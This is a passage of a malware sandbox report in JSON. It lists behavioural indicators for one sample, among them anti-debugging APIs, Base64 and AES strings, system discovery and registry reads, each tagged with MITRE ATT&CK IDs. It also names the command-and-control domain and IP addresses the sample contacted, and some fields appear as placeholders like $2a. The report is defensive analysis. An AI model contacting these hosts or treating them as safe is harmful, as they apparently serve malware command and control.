\"00000000-00006900.00000002.72721.05A80000.00000040.mdmp\")\n Found Base64 decoder \"AVBase64Decoder@CryptoPP@@\" - Source: \"00000000-00006900.00000002.72721.05C00000.00000040.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1140","relevance":2,"id":"memorydump-12","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found Base64 encoding crypto library string in memory","description":"Found Base64 encoder \"AVBase64Encoder@CryptoPP@@\" - Source: \"00000000-00006900.00000001.70800.05070000.00000004.mdmp\")\n Found Base64 encoder \"AVBase64Encoder@CryptoPP@@\" - Source: \"00000000-00006900.00000001.70800.05A80000.00000040.mdmp\")\n Found Base64 encoder \"AVBase64Encoder@CryptoPP@@\" - Source: \"00000000-00006900.00000001.70800.05C00000.00000040.mdmp\")\n Found Base64 encoder \"AVBase64Encoder@CryptoPP@@\" - Source: \"00000000-00006900.00000002.72721.05070000.00000004.mdmp\")\n Found Base64 encoder \"AVBase64Encoder@CryptoPP@@\" - Source: \"00000000-00006900.00000002.72721.05A80000.00000040.mdmp\")\n Found Base64 encoder \"AVBase64Encoder@CryptoPP@@\" - Source: \"00000000-00006900.00000002.72721.05C00000.00000040.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1132.001","relevance":2,"id":"memorydump-11","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00006900.00000000.68879.6D1A0000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00006900.00000001.70800.05070000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00006900.00000001.70800.05A80000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00006900.00000001.70800.05C00000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00006900.00000001.70800.6D1A0000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00006900.00000002.72721.05070000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00006900.00000002.72721.05A80000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00006900.00000002.72721.05C00000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00006900.00000002.72721.6D1A0000.00000002.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"OutputDebugStringA\" (Indicator: \"OutputDebugString\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 13923-565-00000001000683A0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$2a","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00006900.00000000.68879.03400000.00000004.mdmp, 00000000-00006900.00000001.70800.03400000.00000004.mdmp, 00000000-00006900.00000002.72721.03400000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2b","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: HTTP request contains Base64 encoded artifacts\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: Found Base64 decoding crypto library string in memory\n Matched sigs: Found Base64 encoding crypto library string in memory\n Matched sigs: YARA signature match - AES Encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Calls an API typically used to decrypt the data\n Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: HTTP request contains Base64 encoded artifacts\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: Found Base64 decoding crypto library string in memory\n Matched sigs: Found Base64 encoding crypto library string in memory\n Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Contains reference to cryptographic keys\n Matched sigs: YARA signature match - AES Encryption\n Matched sigs: YARA signature match - Crypto Library","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES Encryption\n Matched sigs: Spawned process connects to a network\n Matched sigs: Contacts server\n Matched sigs: Contacts domains\n Matched sigs: Detected Suricata Alert - CnC Activity\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Contains ability to communicate with network (API string)\n Matched sigs: Found potential URLs in memory dumps\n Matched sigs: Found potential IP address in binary/memory","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\".exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00006900)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2c","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate files inside a directory","description":"FindFirstFileW@KERNEL32.dll at 13923-1384-0000000100039A6C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-89","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowW\" (Indicator: \"FindWindowW\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"FindWindowW\" (Indicator: \"FindWindowW\"; Source: \"00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-413","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetLocalTime@KERNEL32.dll at 13923-564-0000000100024FB8","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query system locale (API string)","description":"$2e","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExW@KERNEL32.dll at 13923-1095-0000000100019876","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpace\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\".exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"$30","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"FindWindowW\" (Indicator: \"FindWindow\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"FindWindowW\" (Indicator: \"FindWindow\"; Source: \"00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"GetUserPreferredUILanguages\" (Indicator: \"GetUserPreferredUILanguages\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp\")\n Found reference to API \"GetUserPreferredUILanguages\" (Indicator: \"GetUserPreferredUILanguages\"; Source: \"00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"$31","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve/open a process","description":"GetProcessHeap@KERNEL32.dll at 13923-940-0000000100013A98\n GetProcessHeap@KERNEL32.dll at 13923-1136-000000010001C500\n GetProcessHeap@KERNEL32.dll at 13923-846-000000010000AD08\n GetProcessHeap@KERNEL32.dll at 13923-942-0000000100032194\n GetProcessHeap@KERNEL32.dll at 13923-1122-0000000100032214","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to verify if file exist on disk (API string)","description":"Found reference to API \"PathFileExistsW\" (Indicator: \"PathFileExist\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"PathFileExistsW\" (Indicator: \"PathFileExist\"; Source: \"00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-140","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$32","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\".exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$33","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$34","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$35","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$36","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"app.nnnaajjjgc.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"156.236.72.121:443\"\n \"154.221.26.108:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"lpksetup.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"$37","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"ERROR: CreateDirectory(%s) failed with error: %u\" (Indicator: \"CreateDirectory\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"ERROR: CreateDirectory(%s) failed with error: %u\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00006900.00000000.68879.6D1A1000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1A1000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1A1000.00000020.mdmp\")\n Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Contains ability to create/load registry keys (API string)","description":"Found reference to API \"RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"SetTimer at 13923-1369-00000001000351F8\n Sleep@KERNEL32.dll at 13923-893-0000000100011134\n Sleep@KERNEL32.dll at 13923-901-0000000100011690\n WaitForMultipleObjectsEx@KERNEL32.dll at 13923-938-000000010001789C\n WaitForSingleObjectEx@KERNEL32.dll at 13923-936-0000000100013DC0\n Sleep@KERNEL32.dll at 13923-896-0000000100011260\n WaitForSingleObjectEx@KERNEL32.dll at 13923-919-0000000100012249","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$38","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteExW\" (Indicator: \"ShellExecute\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"DEBUG: ShellExecuteEx failed with error %u\" (Indicator: \"ShellExecute\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"DEBUG: ShellExecuteEx failed with error %u\" (Indicator: \"ShellExecute\"; Source: \"00000000-00006900.00000000.68879.6D1A1000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1A1000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1A1000.00000020.mdmp\")\n Found reference to API \"ShellExecuteExW\" (Indicator: \"ShellExecute\"; Source: \"00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 